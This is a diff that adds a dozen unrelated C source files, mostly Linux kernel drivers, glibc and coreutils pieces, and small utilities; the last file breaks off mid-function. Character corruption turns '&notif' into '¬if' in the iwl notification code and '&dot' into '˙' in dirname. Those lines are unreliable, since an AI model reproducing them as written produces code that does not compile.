b/pool/shard011/C/0142048_iwl-notif-wait.c @@ -0,0 +1,157 @@ +/****************************************************************************** + * + * This file is provided under a dual BSD/GPLv2 license. When using or + * redistributing this file, you may do so under either license. + * + * GPL LICENSE SUMMARY + * + * Copyright(c) 2007 - 2012 Intel Corporation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of version 2 of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110, + * USA + * + * The full GNU General Public License is included in this distribution + * in the file called LICENSE.GPL. + * + * Contact Information: + * Intel Linux Wireless + * Intel Corporation, 5200 N.E. Elam Young Parkway, Hillsboro, OR 97124-6497 + * + * BSD LICENSE + * + * Copyright(c) 2005 - 2012 Intel Corporation. All rights reserved. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * * Neither the name Intel Corporation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + *****************************************************************************/ +#include + +#include "iwl-notif-wait.h" + + +void iwl_notification_wait_init(struct iwl_notif_wait_data *notif_wait) +{ + spin_lock_init(¬if_wait->notif_wait_lock); + INIT_LIST_HEAD(¬if_wait->notif_waits); + init_waitqueue_head(¬if_wait->notif_waitq); +} + +void iwl_notification_wait_notify(struct iwl_notif_wait_data *notif_wait, + struct iwl_rx_packet *pkt) +{ + if (!list_empty(¬if_wait->notif_waits)) { + struct iwl_notification_wait *w; + + spin_lock(¬if_wait->notif_wait_lock); + list_for_each_entry(w, ¬if_wait->notif_waits, list) { + if (w->cmd != pkt->hdr.cmd) + continue; + w->triggered = true; + if (w->fn) + w->fn(notif_wait, pkt, w->fn_data); + } + spin_unlock(¬if_wait->notif_wait_lock); + + wake_up_all(¬if_wait->notif_waitq); + } +} + +void iwl_abort_notification_waits(struct iwl_notif_wait_data *notif_wait) +{ + unsigned long flags; + struct iwl_notification_wait *wait_entry; + + spin_lock_irqsave(¬if_wait->notif_wait_lock, flags); + list_for_each_entry(wait_entry, ¬if_wait->notif_waits, list) + wait_entry->aborted = true; + spin_unlock_irqrestore(¬if_wait->notif_wait_lock, flags); + + wake_up_all(¬if_wait->notif_waitq); +} + + +void +iwl_init_notification_wait(struct iwl_notif_wait_data *notif_wait, + struct iwl_notification_wait *wait_entry, + u8 cmd, + void (*fn)(struct iwl_notif_wait_data *notif_wait, + struct iwl_rx_packet *pkt, void *data), + void *fn_data) +{ + wait_entry->fn = fn; + wait_entry->fn_data = fn_data; + wait_entry->cmd = cmd; + wait_entry->triggered = false; + wait_entry->aborted = false; + + spin_lock_bh(¬if_wait->notif_wait_lock); + list_add(&wait_entry->list, ¬if_wait->notif_waits); + spin_unlock_bh(¬if_wait->notif_wait_lock); +} + +int iwl_wait_notification(struct iwl_notif_wait_data *notif_wait, + struct iwl_notification_wait *wait_entry, + unsigned long timeout) +{ + int ret; + + ret = wait_event_timeout(notif_wait->notif_waitq, + wait_entry->triggered || wait_entry->aborted, + timeout); + + spin_lock_bh(¬if_wait->notif_wait_lock); + list_del(&wait_entry->list); + spin_unlock_bh(¬if_wait->notif_wait_lock); + + if (wait_entry->aborted) + return -EIO; + + /* */ + if (ret <= 0) + return -ETIMEDOUT; + return 0; +} + +void iwl_remove_notification(struct iwl_notif_wait_data *notif_wait, + struct iwl_notification_wait *wait_entry) +{ + spin_lock_bh(¬if_wait->notif_wait_lock); + list_del(&wait_entry->list); + spin_unlock_bh(¬if_wait->notif_wait_lock); +} diff --git a/pool/shard011/C/0142049_help_env.c b/pool/shard011/C/0142049_help_env.c new file mode 100644 index 0000000000000000000000000000000000000000..e1390984273ca5956b3078c7736f14158261362f --- /dev/null +++ b/pool/shard011/C/0142049_help_env.c @@ -0,0 +1,105 @@ +/* + * $Id: help_env.c,v 1.2 2000/12/04 19:02:34 baggins Exp $ + * + * This file was written by Andrew G. Morgan + * + */ + +#include +#include +#include +#include + +/* + * This is a useful function for dumping the Linux-PAM environment + * into some local memory, prior to it all getting lost when pam_end() + * is called. + * + * Initially it was assumed that libpam did not do this part correctly + * (based on a loose email definition). The X/Open XSSO spec makes it + * clear that this function is a duplicate of the one already in + * libpam and therefore unnecessary. IT WILL BE COMPLETELY REMOVED + * IN libpam_misc 1.0 */ + +char **pam_misc_copy_env(pam_handle_t *pamh); +char **pam_misc_copy_env(pam_handle_t *pamh) +{ + return pam_getenvlist(pamh); +} + +/* + * This function should be used to carefully dispose of the copied + * environment. + * + * usage: env = pam_misc_drop_env(env); + */ + +char **pam_misc_drop_env(char **dump) +{ + int i; + + for (i=0; dump[i] != NULL; ++i) { + D(("dump[%d]=`%s'", i, dump[i])); + _pam_overwrite(dump[i]); + _pam_drop(dump[i]); + } + _pam_drop(dump); + + return NULL; +} + +/* + * This function takes the supplied environment and uploads it to be + * the PAM one. + */ + +int pam_misc_paste_env(pam_handle_t *pamh, const char * const * user_env) +{ + for (; user_env && *user_env; ++user_env) { + int retval; + + D(("uploading: %s", *user_env)); + retval = pam_putenv(pamh, *user_env); + if (retval != PAM_SUCCESS) { + D(("error setting %s: %s", *user_env, pam_strerror(pamh,retval))); + return retval; + } + } + D(("done.")); + return PAM_SUCCESS; +} + +/* + * This is a wrapper to make pam behave in the way that setenv() does. + */ + +int pam_misc_setenv(pam_handle_t *pamh, const char *name + , const char *value, int readonly) +{ + char *tmp; + int retval; + + if (readonly) { + const char *etmp; + + /* we check if the variable is there already */ + etmp = pam_getenv(pamh, name); + if (etmp != NULL) { + D(("failed to set readonly variable: %s", name)); + return PAM_PERM_DENIED; /* not allowed to overwrite */ + } + } + tmp = malloc(2+strlen(name)+strlen(value)); + if (tmp != NULL) { + sprintf(tmp,"%s=%s",name,value); + D(("pam_putt()ing: %s", tmp)); + retval = pam_putenv(pamh, tmp); + _pam_overwrite(tmp); /* purge */ + _pam_drop(tmp); /* forget */ + } else { + D(("malloc failure")); + retval = PAM_BUF_ERR; + } + + return retval; +} diff --git a/pool/shard011/C/0142050_atomic_append.c b/pool/shard011/C/0142050_atomic_append.c new file mode 100644 index 0000000000000000000000000000000000000000..860c71160fc4ff1d76b156b8ab9a6e13a09df9d0 --- /dev/null +++ b/pool/shard011/C/0142050_atomic_append.c @@ -0,0 +1,84 @@ +/* + * This program demonstrates that by not using `O_APPEND` it can not be + * guaranteed that the write will happen at the expected location after + * executing `lseek`. The program might run out of time slice and be suspended + * between `lseek` and `write` and then when it comes back the offset is not + * exactly at the actual end of the file. + * + * This can be demonstrated by executing the program with the flag to use and + * also not use `O_APPEND`: + * + * $ ./atomic_append f1 1000000 & ./atomic_append f1 1000000 + * $ ./atomic_append f2 1000000 x & ./atomic_append f2 1000000 x + * + * The final filesize will be something like: + * + * -rw-r--r-- 1 carlosgaldino staff 2000000 Sep 23 21:31 f1 + * -rw-r--r-- 1 carlosgaldino staff 1012311 Sep 23 21:37 f2 + * + * Using `O_APPEND` (first execution example) will guarantee that the write + * will always be at the end of the file since before each write the file + * offset will be set to the end of it and both operations (set offset and + * write) will happen atomically. + * + */ +#include +#include +#include +#include +#include + +typedef enum { false, true } bool; + +void usage(const char *name); +void exitErr(const char* msg); + +int main(int argc, char **argv) +{ + int fd, flags; + char *filename, *byte = "a"; + size_t numBytes; + bool useAppend; + + if (argc < 3 || strcmp(argv[1], "--help") == 0) + usage(argv[0]); + + filename = argv[1]; + numBytes = atol(argv[2]); + flags = O_CREAT | O_RDWR; + + if (argc == 3) { + useAppend = true; + } else { + useAppend = false; + } + + if (useAppend) + flags |= O_APPEND; + + fd = open(filename, flags, S_IRUSR | S_IWUSR); + if (fd == -1) + exitErr("open"); + + for (size_t i = 0; i < numBytes; i++) { + if (!useAppend) + lseek(fd, 0, SEEK_END); + + if(write(fd, byte, 1) == -1) + exitErr("write"); + } + + exit(EXIT_SUCCESS); +} + +void exitErr(const char *msg) +{ + perror(msg); + exit(EXIT_FAILURE); +} + +void usage(const char *name) +{ + printf("%s filename num-bytes [x]\n", name); + exit(EXIT_SUCCESS); +} diff --git a/pool/shard011/C/0142051_bench-x86.c b/pool/shard011/C/0142051_bench-x86.c new file mode 100644 index 0000000000000000000000000000000000000000..3712c50cdefaecc62a5c093c0b082ac2ac49436e --- /dev/null +++ b/pool/shard011/C/0142051_bench-x86.c @@ -0,0 +1,102 @@ +/************************************************************************* + * Copyright (C) 2008 Tavian Barnes * + * * + * This file is part of The FPFD Library Benchmark Suite. * + * * + * The FPFD Library Benchmark Suite is free software; you can * + * redistribute it and/or modify it under the terms of the GNU General * + * Public License as published by the Free Software Foundation; either * + * version 3 of the License, or (at your option) any later version. * + * * + * The FPFD Library Benchmark Suite is distributed in the hope that it * + * will be useful, but WITHOUT ANY WARRANTY; without even the implied * + * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See * + * the GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program. If not, see . * + *************************************************************************/ + +#include "bench-x86.h" +#include /* For fprintf, xfopen */ +#include /* For exit, EXIT_* */ +#include /* For hcreate */ + +static void x86_bench(sandglass_t *sandglass, unsigned int trials); +static void x86_bench_results(); + +int +main(int argc, char **argv) +{ + unsigned int trials; + sandglass_t sandglass; + + if (argc != 2) { + fprintf(stderr, "Wrong number of arguments: %d; should be 1.\n", argc - 1); + return EXIT_FAILURE; + } + + /* Read the number of trials from the command line */ + sscanf(argv[1], "%u", &trials); + + /* Initialize our timer */ + xsandglass_init(&sandglass); + + /* Create our hash table */ + xhcreate(40); + + x86_bench(&sandglass, trials); + x86_bench_results(); + + return EXIT_SUCCESS; +} + +void +x86_bench(sandglass_t *sandglass, unsigned int trials) +{ + x86_bench_mul(sandglass, trials); + x86_bench_div(sandglass, trials); + x86_bench_uncertainty(sandglass, trials); +} + +void +x86_bench_results() +{ + FILE *file; + + file = xfopen("x86-mulb.dat", "w"); + write_ticks("mulb", file); + xfclose(file); + + file = xfopen("x86-mulw.dat", "w"); + write_ticks("mulw", file); + xfclose(file); + + file = xfopen("x86-mull.dat", "w"); + write_ticks("mull", file); + xfclose(file); + + file = xfopen("x86-mulq.dat", "w"); + write_ticks("mulq", file); + xfclose(file); + + file = xfopen("x86-divb.dat", "w"); + write_ticks("divb", file); + xfclose(file); + + file = xfopen("x86-divw.dat", "w"); + write_ticks("divw", file); + xfclose(file); + + file = xfopen("x86-divl.dat", "w"); + write_ticks("divl", file); + xfclose(file); + + file = xfopen("x86-divq.dat", "w"); + write_ticks("divq", file); + xfclose(file); + + file = xfopen("x86-uncertainty.dat", "w"); + write_ticks("uncertainty", file); + xfclose(file); +} diff --git a/pool/shard011/C/0142052_dirname.c b/pool/shard011/C/0142052_dirname.c new file mode 100644 index 0000000000000000000000000000000000000000..ac218d5d94d40f3e9ed003cb00e09648b9d61b4a --- /dev/null +++ b/pool/shard011/C/0142052_dirname.c @@ -0,0 +1,136 @@ +/* dirname -- strip suffix from file name + + Copyright (C) 1990-2012 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +/* Written by David MacKenzie and Jim Meyering. */ + +#include +#include +#include +#include + +#include "system.h" +#include "error.h" + +/* The official name of this program (e.g., no 'g' prefix). */ +#define PROGRAM_NAME "dirname" + +#define AUTHORS \ + proper_name ("David MacKenzie"), \ + proper_name ("Jim Meyering") + +static struct option const longopts[] = +{ + {"zero", no_argument, NULL, 'z'}, + {GETOPT_HELP_OPTION_DECL}, + {GETOPT_VERSION_OPTION_DECL}, + {NULL, 0, NULL, 0} +}; + +void +usage (int status) +{ + if (status != EXIT_SUCCESS) + emit_try_help (); + else + { + printf (_("\ +Usage: %s [OPTION] NAME...\n\ +"), + program_name); + fputs (_("\ +Output each NAME with its last non-slash component and trailing slashes\n\ +removed; if NAME contains no /'s, output '.' (meaning the current directory).\n\ +\n\ +"), stdout); + fputs (_("\ + -z, --zero separate output with NUL rather than newline\n\ +"), stdout); + fputs (HELP_OPTION_DESCRIPTION, stdout); + fputs (VERSION_OPTION_DESCRIPTION, stdout); + printf (_("\ +\n\ +Examples:\n\ + %s /usr/bin/ -> \"/usr\"\n\ + %s dir1/str dir2/str -> \"dir1\" followed by \"dir2\"\n\ + %s stdio.h -> \".\"\n\ +"), + program_name, program_name, program_name); + emit_ancillary_info (); + } + exit (status); +} + +int +main (int argc, char **argv) +{ + static char const dot = '.'; + bool use_nuls = false; + char const *result; + size_t len; + + initialize_main (&argc, &argv); + set_program_name (argv[0]); + setlocale (LC_ALL, ""); + bindtextdomain (PACKAGE, LOCALEDIR); + textdomain (PACKAGE); + + atexit (close_stdout); + + while (true) + { + int c = getopt_long (argc, argv, "z", longopts, NULL); + + if (c == -1) + break; + + switch (c) + { + case 'z': + use_nuls = true; + break; + + case_GETOPT_HELP_CHAR; + case_GETOPT_VERSION_CHAR (PROGRAM_NAME, AUTHORS); + + default: + usage (EXIT_FAILURE); + } + } + + if (argc < optind + 1) + { + error (0, 0, _("missing operand")); + usage (EXIT_FAILURE); + } + + for (; optind < argc; optind++) + { + result = argv[optind]; + len = dir_len (result); + + if (! len) + { + result = ˙ + len = 1; + } + + fwrite (result, 1, len, stdout); + putchar (use_nuls ? '\0' :'\n'); + } + + exit (EXIT_SUCCESS); +} diff --git a/pool/shard011/C/0142053_syscall_6303.c b/pool/shard011/C/0142053_syscall_6303.c new file mode 100644 index 0000000000000000000000000000000000000000..edac3fa3d19be6be170ff5e02eee5b1e33d24902 --- /dev/null +++ b/pool/shard011/C/0142053_syscall_6303.c @@ -0,0 +1,74 @@ +/* + * Generate the syscall functions + * + * 6303 - arguments at expected C offset, B holds the syscall + */ + +#include +#include +#include +#include "syscall_name.h" + +static char namebuf[128]; + +static void write_call(int n) +{ + FILE *fp; + snprintf(namebuf, 128, "fuzix6303/syscall_%s.s",syscall_name[n]); + fp = fopen(namebuf, "w"); + if (fp == NULL) { + perror(namebuf); + exit(1); + } + fprintf(fp, "\t.code\n\n"); + fprintf(fp, "\t.export _%s\n\n", syscall_name[n]); + fprintf(fp, "_%s:\n\tldaa #%d\n", syscall_name[n], n); + fprintf(fp, "\tswi\n"); + fprintf(fp, "\tcpx #0\n"); + fprintf(fp, "\tbeq noerror\n"); + fprintf(fp, "\tstx _errno\n"); + fprintf(fp, "noerror:\n"); + fprintf(fp, "\trts\n"); + fclose(fp); +} + +static void write_call_table(void) +{ + int i; + for (i = 0; i < NR_SYSCALL; i++) + write_call(i); +} + +static void write_makefile(void) +{ + int i; + char path[256]; + FILE *fp; + + fp = fopen("fuzix6303/Makefile", "w"); + if (fp == NULL) { + perror("Makefile"); + exit(1); + } + fprintf(fp, "# Autogenerated by tools/syscall6303\n"); + fprintf(fp, "ASRCS = syscall_%s.s\n", syscall_name[0]); + for (i = 1; i < NR_SYSCALL; i++) + fprintf(fp, "ASRCS += syscall_%s.s\n", syscall_name[i]); + fprintf(fp, "\n\nASRCALL = $(ASRCS)\n"); + fprintf(fp, "\nAOBJS = $(ASRCALL:.s=.o)\n\n"); + fprintf(fp, "../syslib.lib: $(AOBJS)\n"); + fprintf(fp, "\techo $(AOBJS) >syslib.l\n"); + fprintf(fp, "\tar rc ../syslib.lib $(AOBJS)\n\n"); + fprintf(fp, "$(AOBJS): %%.o: %%.s\n"); + fprintf(fp, "\tas68 $<\n\n"); + fprintf(fp, "clean:\n"); + fprintf(fp, "\trm -f $(AOBJS) $(ASRCS) Makefile *~\n\n"); + fclose(fp); +} + +int main(int argc, char *argv[]) +{ + write_makefile(); + write_call_table(); + exit(0); +} diff --git a/pool/shard011/C/0142054_host.c b/pool/shard011/C/0142054_host.c new file mode 100644 index 0000000000000000000000000000000000000000..e3b9f98dfcd63901ca19ab41e4ef97edd25f145a --- /dev/null +++ b/pool/shard011/C/0142054_host.c @@ -0,0 +1,140 @@ +/* + * host.c - ChipIdea USB host controller driver + * + * Copyright (c) 2012 Intel Corporation + * + * Author: Alexander Shishkin + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include +#include +#include +#include +#include +#include + +#include "../host/ehci.h" + +#include "ci.h" +#include "bits.h" +#include "host.h" + +static struct hc_driver __read_mostly ci_ehci_hc_driver; + +static irqreturn_t host_irq(struct ci_hdrc *ci) +{ + return usb_hcd_irq(ci->irq, ci->hcd); +} + +static int host_start(struct ci_hdrc *ci) +{ + struct usb_hcd *hcd; + struct ehci_hcd *ehci; + int ret; + + if (usb_disabled()) + return -ENODEV; + + hcd = usb_create_hcd(&ci_ehci_hc_driver, ci->dev, dev_name(ci->dev)); + if (!hcd) + return -ENOMEM; + + dev_set_drvdata(ci->dev, ci); + hcd->rsrc_start = ci->hw_bank.phys; + hcd->rsrc_len = ci->hw_bank.size; + hcd->regs = ci->hw_bank.abs; + hcd->has_tt = 1; + + hcd->power_budget = ci->platdata->power_budget; + hcd->phy = ci->transceiver; + + ehci = hcd_to_ehci(hcd); + ehci->caps = ci->hw_bank.cap; + ehci->has_hostpc = ci->hw_bank.lpm; + ehci->has_tdi_phy_lpm = ci->hw_bank.lpm; + ehci->imx28_write_fix = ci->imx28_write_fix; + + if (ci->platdata->reg_vbus) { + ret = regulator_enable(ci->platdata->reg_vbus); + if (ret) { + dev_err(ci->dev, + "Failed to enable vbus regulator, ret=%d\n", + ret); + goto put_hcd; + } + } + + ret = usb_add_hcd(hcd, 0, 0); + if (ret) + goto disable_reg; + else + ci->hcd = hcd; + + if (ci->platdata->flags & CI_HDRC_DISABLE_STREAMING) + hw_write(ci, OP_USBMODE, USBMODE_CI_SDIS, USBMODE_CI_SDIS); + + return ret; + +disable_reg: + if (ci->platdata->reg_vbus) + regulator_disable(ci->platdata->reg_vbus); + +put_hcd: + usb_put_hcd(hcd); + + return ret; +} + +static void host_stop(struct ci_hdrc *ci) +{ + struct usb_hcd *hcd = ci->hcd; + + if (hcd) { + usb_remove_hcd(hcd); + usb_put_hcd(hcd); + } + if (ci->platdata->reg_vbus) + regulator_disable(ci->platdata->reg_vbus); +} + + +void ci_hdrc_host_destroy(struct ci_hdrc *ci) +{ + if (ci->role == CI_ROLE_HOST) + host_stop(ci); +} + +int ci_hdrc_host_init(struct ci_hdrc *ci) +{ + struct ci_role_driver *rdrv; + + if (!hw_read(ci, CAP_DCCPARAMS, DCCPARAMS_HC)) + return -ENXIO; + + rdrv = devm_kzalloc(ci->dev, sizeof(struct ci_role_driver), GFP_KERNEL); + if (!rdrv) + return -ENOMEM; + + rdrv->start = host_start; + rdrv->stop = host_stop; + rdrv->irq = host_irq; + rdrv->name = "host"; + ci->roles[CI_ROLE_HOST] = rdrv; + + ehci_init_driver(&ci_ehci_hc_driver, NULL); + + return 0; +} diff --git a/pool/shard011/C/0142055_randgen.c b/pool/shard011/C/0142055_randgen.c new file mode 100644 index 0000000000000000000000000000000000000000..db8b846d0bbf1be17b70452503cbb6c612c9c77b --- /dev/null +++ b/pool/shard011/C/0142055_randgen.c @@ -0,0 +1,121 @@ +#include +#include +#include + +typedef unsigned char u8; +typedef unsigned int u32; + +const u32 MIN = 32; +const u32 MAX = 4096 / 2; +//const u32 MAX = (4096 * 3/4); + +const u32 PREFER_MIN = 580; +const u32 PREFER_MAX = 700; + +//const u32 PREFER_MIN = 32; +//const u32 PREFER_MAX = 4096 / 2; + +const u32 MAX_ALLOC_COUNT = (1 << 16); + +typedef struct { + u32 min, max; +} Range; + +// Gloabals +u32 currAllocCount; +Range fullRange, preferRange; + +/* + * Randomly generate 0 or 1 + * + * arg: biasForZero: how much to favor 0's -- + * 0.5: almost same chance for 0/1 + * 1: always 0 + * 0: always 1 + */ +u32 Flip(double biasForZero) +{ + double rval = rand() / (RAND_MAX + 1.0); + return (rval > biasForZero ? 1 : 0); +} + +// Generate random numbers in range [0, max) +u32 randomLimit(u32 max) +{ + double rval = rand() % max; + return rval; +} + +u32 randomRanged(Range r, Range p, double biasForPrefRange) +{ + double rval; + Range *s; + + if (Flip(biasForPrefRange)) { + s = &r; + } else { + s = &p; + } + + rval = (rand() / (RAND_MAX + 1.0)) * (s->max - s->min) + s->min; + return (u32)rval; +} + +void EventAlloc(void) +{ + u32 randSize; + + if (currAllocCount == MAX_ALLOC_COUNT) { + return; + } + + randSize = randomRanged(fullRange, preferRange, 0.8); + printf("M %u\n", randSize); + currAllocCount++; +} + +void EventFree(void) +{ + u32 freeIndex; + + if (currAllocCount == 0) { + return; + } + + freeIndex = randomLimit(currAllocCount); + printf("F %u\n", freeIndex); + currAllocCount--; +} + +int main() +{ + u32 i; + + // initialize globals + currAllocCount = 0; + + fullRange.min = MIN; + fullRange.max = MAX; + + preferRange.min = PREFER_MIN; + preferRange.max = PREFER_MAX; + + // seed rand gen + srand((unsigned)time(NULL)); + + // randomly generate alloc/free events + for (i = 0; i < 1000000; i++) { + if (Flip(0.5)) + EventAlloc(); + else + EventFree(); + } + + // generate free events for all remaining blocks + for (i = currAllocCount; i > 0; i--) { + EventFree(); + } + + return 0; +} + diff --git a/pool/shard011/C/0142056_getgr.c b/pool/shard011/C/0142056_getgr.c new file mode 100644 index 0000000000000000000000000000000000000000..62fb8ee6f2b06ad25a41bb7b8ef4f2a4033a172b --- /dev/null +++ b/pool/shard011/C/0142056_getgr.c @@ -0,0 +1,56 @@ +/***********************************************************************/ +/* */ +/* Objective Caml */ +/* */ +/* Xavier Leroy, projet Cristal, INRIA Rocquencourt */ +/* */ +/* Copyright 1996 Institut National de Recherche en Informatique et */ +/* en Automatique. All rights reserved. This file is distributed */ +/* under the terms of the GNU Library General Public License, with */ +/* the special exception on linking described in file ../../LICENSE. */ +/* */ +/***********************************************************************/ + +/* $Id: getgr.c,v 1.12 2001/12/07 13:40:29 xleroy Exp $ */ + +#include +#include +#include +#include +#include "unixsupport.h" +#include +#include + +static value alloc_group_entry(struct group *entry) +{ + value res; + value name = Val_unit, pass = Val_unit, mem = Val_unit; + + Begin_roots3 (name, pass, mem); + name = copy_string(entry->gr_name); + pass = copy_string(entry->gr_passwd); + mem = copy_string_array((const char**)entry->gr_mem); + res = alloc_small(4, 0); + Field(res,0) = name; + Field(res,1) = pass; + Field(res,2) = Val_int(entry->gr_gid); + Field(res,3) = mem; + End_roots(); + return res; +} + +CAMLprim value unix_getgrnam(value name) +{ + struct group * entry; + entry = getgrnam(String_val(name)); + if (entry == NULL) raise_not_found(); + return alloc_group_entry(entry); +} + +CAMLprim value unix_getgrgid(value gid) +{ + struct group * entry; + entry = getgrgid(Int_val(gid)); + if (entry == NULL) raise_not_found(); + return alloc_group_entry(entry); +} diff --git a/pool/shard011/C/0142057_regerror.c b/pool/shard011/C/0142057_regerror.c new file mode 100644 index 0000000000000000000000000000000000000000..a322f1c54f18887029deb95f891d072dec5086e9 --- /dev/null +++ b/pool/shard011/C/0142057_regerror.c @@ -0,0 +1,57 @@ +/* + * regerror + */ +#include +#include +#include +#include "regexp.h" + +#pragma warning( disable : 4996 ) // warning C4996: 'mbstowcs' was declared deprecated + +struct error_message +{ + int err; + const char* msg; +}; + +const struct error_message errors[] = { + { 0, "no errors detected" }, + { REGEXP_BADARG, "invalid argument" }, + { REGEXP_ESIZE, "regular expression too big" }, + { REGEXP_ESPACE, "out of memory" }, + { REGEXP_EPAREN, "parenteses () not balanced" }, + { REGEXP_ERANGE, "invalid character range" }, + { REGEXP_EBRACK, "brackets [] not balanced" }, + { REGEXP_BADRPT, "quantifier operator invalid" }, + { REGEXP_EESCAPE, "invalid escape \\ sequence" }, + { REGEXP_EEND, "internal error!" }, + { 1, "unknown error code (0x%x)!" } +}; + +#define ERROR_BUFFER_SIZE 80 + +void re_error(int errcode, const regexp* re, char* buffer, size_t bufsize) +{ + char convbuf[ERROR_BUFFER_SIZE]; + + if(errcode >= 0) + { + strcpy(convbuf, errors[0].msg); + } + else + { + register int i; + for(i = 1; errors[i].err != 1; ++i) + { + if(errors[i].err == errcode) + { + strcpy(convbuf, errors[i].msg); + break; + } + } + if(errors[i].err == 1) + sprintf(convbuf, errors[i].msg, -errcode); + } + strncpy(buffer, convbuf, bufsize-1); + buffer[bufsize-1] = '\0'; +} diff --git a/pool/shard011/C/0142058_lll_timedlock_wait.c b/pool/shard011/C/0142058_lll_timedlock_wait.c new file mode 100644 index 0000000000000000000000000000000000000000..37cf08345be2ebbdcff86bfafa495f7f798ce2fb --- /dev/null +++ b/pool/shard011/C/0142058_lll_timedlock_wait.c @@ -0,0 +1,59 @@ +/* Timed low level locking for pthread library. Generic futex-using version. + Copyright (C) 2003-2015 Free Software Foundation, Inc. + This file is part of the GNU C Library. + Contributed by Paul Mackerras , 2003. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + . */ + +#include +#include +#include +#include + + +int +__lll_timedlock_wait (int *futex, const struct timespec *abstime, int private) +{ + /* Reject invalid timeouts. */ + if (abstime->tv_nsec < 0 || abstime->tv_nsec >= 1000000000) + return EINVAL; + + /* Try locking. */ + while (atomic_exchange_acq (futex, 2) != 0) + { + struct timeval tv; + + /* Get the current time. */ + (void) __gettimeofday (&tv, NULL); + + /* Compute relative timeout. */ + struct timespec rt; + rt.tv_sec = abstime->tv_sec - tv.tv_sec; + rt.tv_nsec = abstime->tv_nsec - tv.tv_usec * 1000; + if (rt.tv_nsec < 0) + { + rt.tv_nsec += 1000000000; + --rt.tv_sec; + } + + if (rt.tv_sec < 0) + return ETIMEDOUT; + + /* If *futex == 2, wait until woken or timeout. */ + lll_futex_timed_wait (futex, 2, &rt, private); + } + + return 0; +} diff --git a/pool/shard011/C/0142059_geode-rng.c b/pool/shard011/C/0142059_geode-rng.c new file mode 100644 index 0000000000000000000000000000000000000000..138ce434f86b20b7552ec962cb8267115b97c059 --- /dev/null +++ b/pool/shard011/C/0142059_geode-rng.c @@ -0,0 +1,139 @@ +/* + * RNG driver for AMD Geode RNGs + * + * Copyright 2005 (c) MontaVista Software, Inc. + * + * with the majority of the code coming from: + * + * Hardware driver for the Intel/AMD/VIA Random Number Generators (RNG) + * (c) Copyright 2003 Red Hat Inc + * + * derived from + * + * Hardware driver for the AMD 768 Random Number Generator (RNG) + * (c) Copyright 2001 Red Hat Inc + * + * derived from + * + * Hardware driver for Intel i810 Random Number Generator (RNG) + * Copyright 2000,2001 Jeff Garzik + * Copyright 2000,2001 Philipp Rumpf + * + * This file is licensed under the terms of the GNU General Public + * License version 2. This program is licensed "as is" without any + * warranty of any kind, whether express or implied. + */ + +#include +#include +#include +#include +#include +#include + + +#define PFX KBUILD_MODNAME ": " + +#define GEODE_RNG_DATA_REG 0x50 +#define GEODE_RNG_STATUS_REG 0x54 + +/* + * Data for PCI driver interface + * + * This data only exists for exporting the supported + * PCI ids via MODULE_DEVICE_TABLE. We do not actually + * register a pci_driver, because someone else might one day + * want to register another driver on the same PCI id. + */ +static const struct pci_device_id pci_tbl[] = { + { PCI_VDEVICE(AMD, PCI_DEVICE_ID_AMD_LX_AES), 0, }, + { 0, }, /* terminate list */ +}; +MODULE_DEVICE_TABLE(pci, pci_tbl); + + +static int geode_rng_data_read(struct hwrng *rng, u32 *data) +{ + void __iomem *mem = (void __iomem *)rng->priv; + + *data = readl(mem + GEODE_RNG_DATA_REG); + + 